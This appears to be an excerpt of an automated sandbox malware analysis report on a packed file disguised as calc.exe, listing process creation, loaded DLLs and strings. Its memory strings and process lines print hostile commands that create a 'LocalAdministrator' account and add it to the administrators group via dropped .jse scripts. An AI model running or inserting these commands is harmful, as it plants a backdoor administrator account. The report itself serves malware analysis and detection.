Source: calc.exe, 00000017.00000003.1439652831.0000000000704000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMsMpLics.dllj% vs calc.exe
Source: calc.exe, 00000020.00000003.1457763980.00000000005C6000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMsMpLics.dllj% vs calc.exe
Source: calc.exe, 00000027.00000003.1468921055.0000000000604000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMsMpLics.dllj% vs calc.exe
Source: calc.exe, 00000027.00000003.1468999891.000000000060A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMsMpLics.dllj% vs calc.exe
Source: calc.exe, 0000002F.00000003.1479800572.00000000006F3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMsMpLics.dllj% vs calc.exe
Source: calc.exe, 0000002F.00000003.1479800572.00000000006F3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamempclient.dllj% vs calc.exe
Source: calc.exe, 0000002F.00000003.1479673220.00000000006ED000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMsMpLics.dllj% vs calc.exe
Source: calc.exe, 0000002F.00000003.1479673220.00000000006ED000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamempclient.dllj% vs calc.exe
Source: calc.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: calc.exeStatic PE information: Section: UPX1 ZLIB complexity 0.9900420984455959
Source: classification engineClassification label: mal60.winEXE@93/7@0/0
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0041FE6D GetLastError,FormatMessageW,0_2_0041FE6D
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00415C2E GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,EnumWindows,ExitWindowsEx,SetSystemPowerState,0_2_00415C2E
Source: C:\Users\user\Desktop\calc.exeCode function: 7_2_00415C2E GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,EnumWindows,ExitWindowsEx,SetSystemPowerState,7_2_00415C2E
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_004240D8 SetErrorMode,GetDiskFreeSpaceW,FreeLibrary,0_2_004240D8
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_00430DCB OleInitialize,CLSIDFromProgID,CoCreateInstance,CoInitializeSecurity,CoCreateInstanceEx,CoSetProxyBlanket,0_2_00430DCB
Source: C:\Users\user\Desktop\calc.exeCode function: 0_2_0041605B FindResourceW,FindResourceW,LoadResource,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,0_2_0041605B
Source: C:\Users\user\Desktop\calc.exeFile created: C:\Users\user\Desktop\gszpj8rp81.jseJump to behavior
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7964:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8176:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1736:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3500:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2464:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4472:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8008:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2772:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7448:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7300:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:312:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8148:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8040:120:WilError_03
Source: C:\Users\user\Desktop\calc.exeFile read: C:\Users\desktop.iniJump to behavior
Source: C:\Users\user\Desktop\calc.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: wscript.exeString found in binary or memory: IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net localgroup administrators LocalAdministrator /add", "0", "false");IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net localgroup administrators LocalAdministrator /add", "0", "false");IWshShell3.Run("calc.exe", "1", "false");
Source: wscript.exeString found in binary or memory: IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net localgroup administrators LocalAdministrator /add", "0", "false");IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net localgroup administrators LocalAdministrator /add", "0", "false");IWshShell3.Run("calc.exe", "1", "false");
Source: wscript.exeString found in binary or memory: IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net localgroup administrators LocalAdministrator /add", "0", "false");IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net localgroup administrators LocalAdministrator /add", "0", "false");IWshShell3.Run("calc.exe", "1", "false");
Source: wscript.exeString found in binary or memory: IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net localgroup administrators LocalAdministrator /add", "0", "false");IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net localgroup administrators LocalAdministrator /add", "0", "false");IWshShell3.Run("calc.exe", "1", "false");
Source: wscript.exeString found in binary or memory: IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net localgroup administrators LocalAdministrator /add", "0", "false");IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net localgroup administrators LocalAdministrator /add", "0", "false");IWshShell3.Run("calc.exe", "1", "false");
Source: wscript.exeString found in binary or memory: IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net localgroup administrators LocalAdministrator /add", "0", "false");IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net localgroup administrators LocalAdministrator /add", "0", "false");IWshShell3.Run("calc.exe", "1", "false");
Source: wscript.exeString found in binary or memory: IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net localgroup administrators LocalAdministrator /add", "0", "false");IWshShell3.Run("net user LocalAdministrator /add", "0", "false");IWshShell3.Run("net localgroup administrators LocalAdministrator /add", "0", "false");IWshShell3.Run("calc.exe", "1", "false");
Source: C:\Users\user\Desktop\calc.exeFile read: C:\Users\user\Desktop\calc.exeJump to behavior
Source: unknownProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe"
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" gszpj8rp81.jse
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe"
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" 10a1DJwqnr.jse
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe"
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" Kiql0emrm5.jse
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe"
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" mdWettqHRh.jse
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe"
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" KobIITTimt.jse
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe"
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" dLMJwKQlPv.jse
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe"
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" aw1HUl4bYu.jse
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" gszpj8rp81.jseJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe" Jump to behavior
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators LocalAdministrator /addJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" 10a1DJwqnr.jseJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe" Jump to behavior
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators LocalAdministrator /addJump to behavior
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" Kiql0emrm5.jseJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /addJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe" Jump to behavior
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" mdWettqHRh.jse
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe"
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" KobIITTimt.jse
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe"
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" dLMJwKQlPv.jse
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Users\user\Desktop\calc.exe "C:\Users\user\Desktop\calc.exe"
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 user LocalAdministrator /add
Source: C:\Windows\SysWOW64\net.exeProcess created: C:\Windows\SysWOW64\net1.exe C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
Source: C:\Users\user\Desktop\calc.exeProcess created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\wscript.exe" aw1HUl4bYu.jse
Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\net.exe "C:\Windows\System32\net.exe" user LocalAdministrator /add
Source: C:\Windows\SysWOW64\wscript.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\wscript.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\net.exeProcess created: unknown unknown
Source: C:\Users\user\Desktop\calc.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: mpr.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: wsock32.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: sxs.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: jscript.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: amsi.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: profapi.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: scrrun.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: propsys.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: edputil.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: netutils.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: appresolver.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: bcp47langs.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: slc.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: sppc.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: version.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sxs.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: jscript.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: amsi.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wshext.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrobj.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: scrrun.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: edputil.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: appresolver.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: bcp47langs.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: slc.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: sppc.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecorecommonproxystub.dllJump to behavior
Source: C:\Windows\SysWOW64\wscript.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: wkscli.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: samcli.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: wkscli.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: samcli.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Windows\SysWOW64\net.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: mpr.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: wsock32.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: sxs.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: jscript.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: amsi.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: profapi.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: scrrun.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: propsys.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: edputil.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: urlmon.dllJump to behavior
Source: C:\Users\user\Desktop\calc.exeSection loaded: srvcli.dllJump to behavior
